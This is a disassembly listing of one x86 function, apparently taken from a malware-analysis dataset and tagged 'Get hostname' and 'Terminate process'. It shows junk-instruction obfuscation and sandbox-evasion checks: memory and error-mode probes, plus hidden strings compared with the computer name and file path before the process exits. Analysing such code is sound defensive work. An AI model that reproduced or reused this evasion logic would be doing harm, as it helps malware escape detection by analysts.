Function at 0x58f93c
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
xchg ebx, ebx
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
push eax
pop eax
test eax, eax
push eax
pop eax
push edx
push eax
pop eax
pop edx
je 0x5906be
pushfd
xor edi, 0xcf11ef2c
xor edi, 0xcf11ef2c
popfd
mov dword [ebp - 0x41c], eax
pushfd
push edx
add esp, 4
popfd
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
pushfd
inc edx
dec edx
popfd
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
push ebx
pop ebx
pushfd
push 0x50d1f7fe
add esp, 4
popfd
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
nop
mov eax, eax
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov edx, edx
pushfd
xor ecx, 0xea259df1
xor ecx, 0xea259df1
popfd
cmp eax, 0x400
xchg edx, edx
pushfd
inc edi
dec edi
popfd
jne 0x5906be
pushfd
xor ebx, 0x42715b48
xor ebx, 0x42715b48
popfd
push esi
pop esi
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
pushfd
inc eax
dec eax
popfd
mov edi, edi
test eax, eax
pushfd
xor esi, 0x74866aba
xor esi, 0x74866aba
popfd
pushfd
inc ebx
dec ebx
popfd
je 0x5906be
pushfd
push 0x35cbb400
add esp, 4
popfd
mov dword [ebp - 0x20e], 0x104
pushfd
push edi
add esp, 4
popfd
pushfd
push 0x77918b65
add esp, 4
popfd
lea eax, [ebp - 0x313]
pushfd
push edi
add esp, 4
popfd
lea ebx, [ebp - 0x20e]
pushfd
inc edx
dec edx
popfd
xchg edx, ecx
xchg ecx, edx
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
pushfd
push edi
add esp, 4
popfd
test eax, eax
pushfd
push esi
add esp, 4
popfd
je 0x58fdc4
push edx
pop edx
lea eax, [ebp - 0x418]
pushfd
push 0xdd975ca0
add esp, 4
popfd
pushfd
inc ebx
dec ebx
popfd
mov ebx, 0x61
pushfd
push ebx
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x13
push eax
pop eax
mov byte [eax], bl
push eax
push ecx
pop ecx
pop eax
add bl, 0x18
pushfd
inc esi
dec esi
popfd
mov byte [eax + 1], bl
push edx
pop edx
sub bl, 0xc
push edx
push ecx
pop ecx
pop edx
mov byte [eax + 2], bl
mov ecx, ecx
add bl, 0x1a
xchg edx, eax
xchg edx, eax
mov byte [eax + 3], bl
xchg esi, edx
xchg edx, esi
pushfd
inc esi
dec esi
popfd
sub bl, 0x2e
push ecx
pop ecx
mov byte [eax + 4], bl
xchg edx, edi
xchg edi, edx
push ebx
pop ebx
add bl, 0x1c
xchg edx, eax
xchg edx, eax
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 5], bl
mov ecx, ecx
sub bl, 0x12
push ebx
pop ebx
xchg edi, edi
mov byte [eax + 6], bl
push eax
pop eax
pushfd
push edx
add esp, 4
popfd
add bl, 0x16
pushfd
push 0x9dfa93ad
add esp, 4
popfd
push esi
pop esi
mov byte [eax + 7], bl
pushfd
inc eax
dec eax
popfd
sub bl, 0x1e
mov ecx, ecx
push esi
pop esi
mov byte [eax + 8], bl
xchg ebx, eax
xchg ebx, eax
mov byte [eax + 9], 0
push ecx
pop ecx
pushfd
push edx
add esp, 4
popfd
lea ebx, [ebp - 0x313]
mov edi, edi
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
push 0x5fe08ccb
add esp, 4
popfd
test eax, eax
pushfd
xor ebx, 0x9ed2d653
xor ebx, 0x9ed2d653
popfd
je 0x5906be
pushfd
inc eax
dec eax
popfd
lea eax, [ebp - 0x418]
xchg edx, edi
xchg edi, edx
mov ebx, 0x61
pushfd
xor ecx, 0xa3bf7c4e
xor ecx, 0xa3bf7c4e
popfd
sub bl, 0x1c
pushfd
xor esi, 0xd91d76fc
xor esi, 0xd91d76fc
popfd
mov ebx, ebx
mov byte [eax], bl
nop
push edi
pop edi
add bl, 7
push edi
push esi
pop esi
pop edi
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 1], bl
pushfd
xor edi, 0xcf3b4ea7
xor edi, 0xcf3b4ea7
popfd
sub bl, 3
push edx
pop edx
mov byte [eax + 2], bl
mov edx, edx
xchg ecx, ecx
sub bl, 6
push eax
pop eax
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 3], bl
mov esi, esi
add bl, 0x17
pushfd
xor ecx, 0xdfad0be9
xor ecx, 0xdfad0be9
popfd
pushfd
inc esi
dec esi
popfd
mov byte [eax + 4], bl
pushfd
push 0x9dcc0205
add esp, 4
popfd
mov eax, eax
mov byte [eax + 5], 0
mov ebx, ebx
push eax
pop eax
lea ebx, [ebp - 0x313]
pushfd
xor ecx, 0x391ef3a8
xor ecx, 0x391ef3a8
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
push 0xa513c1fa
add esp, 4
popfd
test eax, eax
pushfd
push 0x1dcd7221
add esp, 4
popfd
push edi
push ebx
pop ebx
pop edi
je 0x5906be
pushfd
push edx
add esp, 4
popfd
lea eax, [ebp - 0x418]
xchg esi, esi
pushfd
push 0xfa1147
add esp, 4
popfd
mov ebx, 0x61
push ecx
push edx
pop edx
pop ecx
pushfd
xor ebx, 0x91e3a4a
xor ebx, 0x91e3a4a
popfd
add bl, 0x13
pushfd
push 0x60b44213
add esp, 4
popfd
mov byte [eax], bl
xchg edx, edi
xchg edi, edx
pushfd
push 0x20c8556b
add esp, 4
popfd
add bl, 6
pushfd
xor eax, 0x6d39a3fa
xor eax, 0x6d39a3fa
popfd
mov byte [eax + 1], bl
pushfd
push ebx
add esp, 4
popfd
xchg ecx, ecx
mov byte [eax + 2], 0
push ecx
pop ecx
pushfd
inc edx
dec edx
popfd
lea ebx, [ebp - 0x313]
pushfd
xor eax, 0xb2d03170
xor eax, 0xb2d03170
popfd
pushfd
push edi
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
push edx
push ebx
pop ebx
pop edx
test eax, eax
pushfd
xor eax, 0x605837c6
xor eax, 0x605837c6
popfd
xchg ebx, ebx
je 0x5906be
pushfd
push ecx
add esp, 4
popfd
lea eax, [ebp - 0x418]
pushfd
xor edi, 0x1ca92732
xor edi, 0x1ca92732
popfd
pushfd
push 0x250a79f9
add esp, 4
popfd
mov ebx, 0x61
pushfd
push 0xe1f55318
add esp, 4
popfd
sub bl, 0x14
xchg ebx, eax
xchg ebx, eax
mov byte [eax], bl
pushfd
push 0xca221aac
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
sub bl, 0xc
push eax
push edx
pop edx
pop eax
mov byte [eax + 1], bl
pushfd
inc edx
dec edx
popfd
add bl, 8
pushfd
xor edi, 0x8d95ab88
xor edi, 0x8d95ab88
popfd
push esi
pop esi
mov byte [eax + 2], bl
pushfd
push edx
add esp, 4
popfd
add bl, 5
xchg ebx, esi
xchg esi, ebx
mov byte [eax + 3], bl
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 4], 0
xchg edx, edx
pushfd
push 0xa373cd1c
add esp, 4
popfd
lea ebx, [ebp - 0x313]
pushfd
push edi
add esp, 4
popfd
xchg edx, eax
xchg edx, eax
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
xor ebx, 0xa405c485
xor ebx, 0xa405c485
popfd
test eax, eax
xchg ebx, eax
xchg ebx, eax
je 0x5906be
push eax
pop eax
mov esi, esi
pushfd
push 0x8820d46e
add esp, 4
popfd
pushfd
xor esi, 0x2c124510
xor esi, 0x2c124510
popfd
lea eax, [ebp - 0x20a]
nop
mov eax, eax
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
xchg esi, esi
pushfd
xor edx, 0x581183ac
xor edx, 0x581183ac
popfd
cmp eax, 0
nop
jle 0x5906aa
xchg ebx, edx
xchg edx, ebx
push esi
push ecx
pop ecx
pop esi
lea eax, [ebp - 0x20a]
pushfd
xor esi, 0x10214d01
xor esi, 0x10214d01
popfd
pushfd
xor edx, 0xe33efd0
xor edx, 0xe33efd0
popfd
push eax
call dword [sym.imp.Shlwapi.dll_PathFindFileNameA]
pushfd
push 0xb1c03a63
add esp, 4
popfd
lea ebx, [ebp - 0x105]
pushfd
xor edi, 0xb5936371
xor edi, 0xb5936371
popfd
xchg esi, esi
push eax
push ebx
call dword [sym.imp.msvcrt.dll_strcpy]
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 0x418]
xchg edi, edi
pushfd
xor eax, 0xfc773089
xor eax, 0xfc773089
popfd
mov ebx, 0x61
mov edi, edi
pushfd
xor esi, 0x7ed3af6a
xor esi, 0x7ed3af6a
popfd
sub bl, 0x1e
pushfd
inc eax
dec eax
popfd
mov byte [eax], bl
pushfd
inc ecx
dec ecx
popfd
push esi
pop esi
sub bl, 9
pushfd
push 0x2aeb008a
add esp, 4
popfd
mov byte [eax + 1], bl
push esi
pop esi
add bl, 0x22
mov ebx, ebx
mov byte [eax + 2], bl
xchg esi, eax
xchg esi, eax
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x18
pushfd
xor ebx, 0x9d176a3e
xor ebx, 0x9d176a3e
popfd
mov byte [eax + 3], bl
push edi
push ecx
pop ecx
pop edi
mov edx, edx
add bl, 0x2b
mov esi, esi
push ecx
pop ecx
mov byte [eax + 4], bl
xchg edi, edi
sub bl, 0xc
pushfd
push 0xe921df83
add esp, 4
popfd
xchg ebx, ebx
mov byte [eax + 5], bl
xchg ebx, eax
xchg ebx, eax
add bl, 0x12
push edi
push edx
pop edx
pop edi
xchg ebx, ebx
mov byte [eax + 6], bl
pushfd
xor edx, 0x11d94ae8
xor edx, 0x11d94ae8
popfd
pushfd
inc edi
dec edi
popfd
sub bl, 8
xchg edx, edx
mov edx, edx
mov byte [eax + 7], bl
pushfd
push 0x22015fa5
add esp, 4
popfd
sub bl, 8
pushfd
inc eax
dec eax
popfd
mov byte [eax + 8], bl
pushfd
push 0x31c4642e
add esp, 4
popfd
add bl, 9
xchg esi, eax
xchg esi, eax
mov byte [eax + 9], bl
push esi
push edx
pop edx
pop esi
add bl, 6
push edi
pop edi
mov ecx, ecx
mov byte [eax + 0xa], bl
mov ebx, ebx
dec bl
pushfd
push edi
add esp, 4
popfd
push ecx
pop ecx
mov byte [eax + 0xb], bl
push edx
push ecx
pop ecx
pop edx
sub bl, 0x53
push esi
push edi
pop edi
pop esi
mov byte [eax + 0xc], bl
pushfd
push 0x809af6ec
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
add bl, 0x41
pushfd
push 0xab27ece
add esp, 4
popfd
pushfd
xor ebx, 0xa396a39c
xor ebx, 0xa396a39c
popfd
mov byte [eax + 0xd], bl
pushfd
push ebx
add esp, 4
popfd
xchg esi, esi
add bl, 0xd
xchg esi, esi
mov byte [eax + 0xe], bl
mov ecx, ecx
pushfd
xor edi, 0xe303bd2b
xor edi, 0xe303bd2b
popfd
sub bl, 0xa
mov ebx, ebx
pushfd
xor esi, 0x5c049c9a
xor esi, 0x5c049c9a
popfd
mov byte [eax + 0xf], bl
mov ecx, ecx
sub bl, 0x44
push ebx
push esi
pop esi
pop ebx
pushfd
xor esi, 0x587acbf3
xor esi, 0x587acbf3
popfd
mov byte [eax + 0x10], bl
pushfd
push 0xab90eefb
add esp, 4
popfd
pushfd
push 0xe59aaa55
add esp, 4
popfd
add bl, 0x33
mov ecx, ecx
mov byte [eax + 0x11], bl
pushfd
push edi
add esp, 4
popfd
push edi
pop edi
add bl, 0x12
pushfd
xor ebx, 0x1ccda5
xor ebx, 0x1ccda5
popfd
xchg ebx, ecx
xchg ecx, ebx
mov byte [eax + 0x12], bl
mov edi, edi
pushfd
inc eax
dec eax
popfd
add bl, 0xf
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0x13], bl
pushfd
push 0x405992f8
add esp, 4
popfd
mov byte [eax + 0x14], bl
pushfd
xor esi, 0x80bd3970
xor esi, 0x80bd3970
popfd
xchg edx, edx
sub bl, 0xb
pushfd
xor ecx, 0x3a6e570f
xor ecx, 0x3a6e570f
popfd
mov byte [eax + 0x15], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x4d410cbb
add esp, 4
popfd
add bl, 5
xchg edi, ebx
xchg ebx, edi
mov byte [eax + 0x16], bl
push esi
pop esi
sub bl, 7
pushfd
xor esi, 0xfb6d32fa
xor esi, 0xfb6d32fa
popfd
mov byte [eax + 0x17], bl
pushfd
xor edx, 0x110910d2
xor edx, 0x110910d2
popfd
xchg ecx, ecx
add bl, 0xc
xchg ebx, ebx
xchg ebx, ebx
mov byte [eax + 0x18], bl
xchg ecx, ebx
xchg ebx, ecx
pushfd
inc eax
dec eax
popfd
sub bl, 0x17
push edx
pop edx
pushfd
push 0xb0f2a3d1
add esp, 4
popfd
mov byte [eax + 0x19], bl
pushfd
inc esi
dec esi
popfd
sub bl, 0x1b
push edx
push eax
pop eax
pop edx
mov byte [eax + 0x1a], bl
pushfd
inc esi
dec esi
popfd
xchg esi, ebx
xchg ebx, esi
add bl, 0x23
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0x1b], bl
push edx
pop edx
add bl, 9
pushfd
push 0xd67dddd1
add esp, 4
popfd
mov byte [eax + 0x1c], bl
xchg edx, edx
sub bl, 4
pushfd
xor ecx, 0x4b2bdb36
xor ecx, 0x4b2bdb36
popfd
mov byte [eax + 0x1d], bl
xchg edi, eax
xchg edi, eax
add bl, 5
pushfd
push 0x269734d2
add esp, 4
popfd
pushfd
push 0xa4e0111e
add esp, 4
popfd
mov byte [eax + 0x1e], bl
pushfd
push 0xa41302b4
add esp, 4
popfd
sub bl, 5
pushfd
push 0xb2b90c30
add esp, 4
popfd
mov byte [eax + 0x1f], bl
xchg ebx, edi
xchg edi, ebx
pushfd
xor edi, 0x7f34ea9
xor edi, 0x7f34ea9
popfd
add bl, 0xa
pushfd
inc ecx
dec ecx
popfd
pushfd
xor esi, 0x42b6395a
xor esi, 0x42b6395a
popfd
mov byte [eax + 0x20], bl
pushfd
push ecx
add esp, 4
popfd
push esi
pop esi
inc bl
nop
mov byte [eax + 0x21], bl
pushfd
push 0x35004b92
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
sub bl, 2
pushfd
xor edi, 0xf34fe908
xor edi, 0xf34fe908
popfd
mov byte [eax + 0x22], bl
xchg ebx, ebx
sub bl, 0x11
xchg ebx, ebx
mov byte [eax + 0x23], bl
mov edi, edi
push edx
push edi
pop edi
pop edx
add bl, 0x13
push ecx
pop ecx
mov byte [eax + 0x24], bl
pushfd
inc ebx
dec ebx
popfd
sub bl, 5
xchg edx, edx
push ecx
pop ecx
mov byte [eax + 0x25], bl
pushfd
push edx
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
add bl, 3
push edi
pop edi
pushfd
push 0x86c9a097
add esp, 4
popfd
mov byte [eax + 0x26], bl
xchg edx, edx
push edi
push edx
pop edx
pop edi
sub bl, 0x16
pushfd
inc edx
dec edx
popfd
xchg esi, esi
mov byte [eax + 0x27], bl
pushfd
xor ebx, 0xd2e866a3
xor ebx, 0xd2e866a3
popfd
xchg ebx, ebx
sub bl, 0xf
xchg edi, edi
mov byte [eax + 0x28], bl
pushfd
inc eax
dec eax
popfd
pushfd
push eax
add esp, 4
popfd
add bl, 0x2c
pushfd
xor esi, 0xea1beca1
xor esi, 0xea1beca1
popfd
mov byte [eax + 0x29], bl
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x59
mov edx, edx
mov byte [eax + 0x2a], bl
push ebx
pop ebx
pushfd
push ecx
add esp, 4
popfd
add bl, 0x24
mov eax, eax
mov byte [eax + 0x2b], bl
xchg ebx, ecx
xchg ecx, ebx
add bl, 0x2b
pushfd
inc ecx
dec ecx
popfd
push ebx
push edx
pop edx
pop ebx
mov byte [eax + 0x2c], bl
push edi
pop edi
sub bl, 0xc
push eax
pop eax
mov byte [eax + 0x2d], bl
mov eax, eax
add bl, 0x12
xchg edi, edi
push esi
pop esi
mov byte [eax + 0x2e], bl
pushfd
push 0xbad8cbdb
add esp, 4
popfd
pushfd
push 0xc7c5e988
add esp, 4
popfd
sub bl, 8
mov ebx, ebx
mov byte [eax + 0x2f], bl
push esi
pop esi
sub bl, 8
push ecx
pop ecx
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0x30], bl
pushfd
push 0xe634a1a2
add esp, 4
popfd
push edx
pop edx
add bl, 9
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0x31], bl
pushfd
inc edx
dec edx
popfd
add bl, 6
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 0x32], bl
pushfd
inc ecx
dec ecx
popfd
dec bl
pushfd
xor esi, 0x9dacb9a
xor esi, 0x9dacb9a
popfd
mov byte [eax + 0x33], bl
push edx
pop edx
sub bl, 0x17
pushfd
push 0xc6dd9238
add esp, 4
popfd
mov byte [eax + 0x34], bl
xchg ecx, eax
xchg ecx, eax
add bl, 0x11
push esi
pop esi
push ecx
pop ecx
mov byte [eax + 0x35], bl
pushfd
xor eax, 0xcafccdf2
xor eax, 0xcafccdf2
popfd
pushfd
push 0x6124280
add esp, 4
popfd
add bl, 0xa
pushfd
push eax
add esp, 4
popfd
xchg edi, eax
xchg edi, eax
mov byte [eax + 0x36], bl
mov ecx, ecx
pushfd
push edi
add esp, 4
popfd
sub bl, 4
xchg edx, ebx
xchg ebx, edx
pushfd
xor esi, 0xd844e08f
xor esi, 0xd844e08f
popfd
mov byte [eax + 0x37], bl
push ecx
pop ecx
pushfd
push 0x246f128e
add esp, 4
popfd
sub bl, 6
xchg edx, edx
mov byte [eax + 0x38], bl
xchg esi, esi
mov ebx, ebx
add bl, 3
pushfd
push 0x709632e5
add esp, 4
popfd
push eax
push ecx
pop ecx
pop eax
mov byte [eax + 0x39], bl
pushfd
inc ebx
dec ebx
popfd
pushfd
push 0x3768df17
add esp, 4
popfd
sub bl, 4
mov edx, edx
xchg esi, esi
mov byte [eax + 0x3a], bl
mov edi, edi
sub bl, 0x3e
xchg ebx, edi
xchg edi, ebx
pushfd
push 0x4f08d9a0
add esp, 4
popfd
mov byte [eax + 0x3b], bl
pushfd
inc edx
dec edx
popfd
pushfd
push ebx
add esp, 4
popfd
add bl, 0x37
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0x3c], bl
xchg ebx, eax
xchg ebx, eax
add bl, 0x13
xchg esi, esi
mov esi, esi
mov byte [eax + 0x3d], bl
pushfd
push 0xd244ef3a
add esp, 4
popfd
sub bl, 0x13
pushfd
push 0x6e34da5a
add esp, 4
popfd
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 0x3e], bl
push edx
pop edx
xchg ebx, ebx
mov byte [eax + 0x3f], 0
pushfd
push 0x6eabc8ca
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
lea ebx, [ebp - 0x20a]
push ebx
pop ebx
pushfd
push esi
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
pushfd
inc ecx
dec ecx
popfd
pushfd
xor eax, 0xbe21c79f
xor eax, 0xbe21c79f
popfd
test eax, eax
pushfd
push edx
add esp, 4
popfd
pushfd
push 0x85031959
add esp, 4
popfd
je 0x5906be
xchg edi, esi
xchg esi, edi
pushfd
xor edx, 0xb7c9fa88
xor edx, 0xb7c9fa88
popfd
lea eax, [ebp - 0x418]
pushfd
inc ebx
dec ebx
popfd
mov ebx, 0x61
pushfd
xor ebx, 0x28e3af4b
xor ebx, 0x28e3af4b
popfd
sub bl, 0x1e
xchg esi, esi
pushfd
push eax
add esp, 4
popfd
mov byte [eax], bl
pushfd
push 0x32ca0f90
add esp, 4
popfd
sub bl, 9
pushfd
inc eax
dec eax
popfd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 1], bl
xchg edi, eax
xchg edi, eax
xchg edx, edx
add bl, 0x22
pushfd
push 0x84673a21
add esp, 4
popfd
push ebx
pop ebx
mov byte [eax + 2], bl
push edx
push esi
pop esi
pop edx
sub bl, 9
nop
xchg edi, edi
mov byte [eax + 3], bl
pushfd
push 0x5d76ab43
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
sub bl, 0xe
pushfd
xor esi, 0x7e1251aa
xor esi, 0x7e1251aa
popfd
mov byte [eax + 4], bl
pushfd
inc esi
dec esi
popfd
pushfd
push 0x94126cf4
add esp, 4
popfd
add bl, 7
push edi
push ecx
pop ecx
pop edi
push ecx
pop ecx
mov byte [eax + 5], bl
mov edi, edi
pushfd
inc ebx
dec ebx
popfd
sub bl, 6
mov esi, esi
push esi
push edi
pop edi
pop esi
mov byte [eax + 6], bl
xchg edx, esi
xchg esi, edx
xchg ebx, eax
xchg ebx, eax
sub bl, 0x18
pushfd
xor eax, 0x36c73d55
xor eax, 0x36c73d55
popfd
push edx
push esi
pop esi
pop edx
mov byte [eax + 7], bl
pushfd
inc esi
dec esi
popfd
pushfd
xor ecx, 0xe447b295
xor ecx, 0xe447b295
popfd
add bl, 0x17
push edx
pop edx
mov byte [eax + 8], bl
pushfd
push 0x50a28c90
add esp, 4
popfd
add bl, 0x13
pushfd
inc edx
dec edx
popfd
pushfd
xor eax, 0x95ea156a
xor eax, 0x95ea156a
popfd
mov byte [eax + 9], bl
pushfd
inc edx
dec edx
popfd
sub bl, 0x13
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 0xa], bl
xchg esi, edi
xchg edi, esi
mov byte [eax + 0xb], 0
push ebx
push ecx
pop ecx
pop ebx
lea ebx, [ebp - 0x20a]
pushfd
push 0x8c79027f
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
xchg esi, esi
xchg ecx, ecx
test eax, eax
pushfd
push edx
add esp, 4
popfd
je 0x5906be
pushfd
xor ecx, 0xd7ea6d08
xor ecx, 0xd7ea6d08
popfd
mov edx, edx
lea eax, [ebp - 0x418]
push edx
pop edx
mov ebx, 0x61
pushfd
push esi
add esp, 4
popfd
add bl, 0xc
pushfd
xor eax, 0x2d253735
xor eax, 0x2d253735
popfd
pushfd
push edi
add esp, 4
popfd
mov byte [eax], bl
push ecx
push ebx
pop ebx
pop ecx
mov esi, esi
add bl, 0xc
pushfd
push edi
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 1], bl
xchg esi, eax
xchg esi, eax
sub bl, 0x18
mov edx, edx
mov byte [eax + 2], bl
push edx
pop edx
xchg edi, ecx
xchg ecx, edi
add bl, 0xf
pushfd
push 0x8bb84640
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 3], bl
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 4], bl
xchg edi, esi
xchg esi, edi
sub bl, 0x42
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 5], bl
pushfd
xor ecx, 0x3ecae350
xor ecx, 0x3ecae350
popfd
add bl, 0x37
mov edi, edi
xchg ecx, edi
xchg edi, ecx
mov byte [eax + 6], bl
push esi
pop esi
push edx
pop edx
add bl, 0x13
pushfd
push edi
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 7], bl
pushfd
push esi
add esp, 4
popfd
sub bl, 0x13
pushfd
push 0x6f0c0c0
add esp, 4
popfd
pushfd
push 0x65642c09
add esp, 4
popfd
mov byte [eax + 8], bl
xchg ecx, ecx
mov byte [eax + 9], 0
xchg edx, edx
lea ebx, [ebp - 0x105]
pushfd
push ecx
add esp, 4
popfd
mov ecx, ecx
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
mov edi, edi
pushfd
inc esi
dec esi
popfd
test eax, eax
push eax
push edi
pop edi
pop eax
push edx
pop edx
je 0x5906be
pushfd
push 0x1f18edb0
add esp, 4
popfd
pushfd
push 0x7866cf86
add esp, 4
popfd
pushfd
inc ebx
dec ebx
popfd
xor eax, eax
xchg esi, eax
xchg esi, eax
leave
ret
xchg edi, edx
xchg edx, edi
push edx
push esi
pop esi
pop edx
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]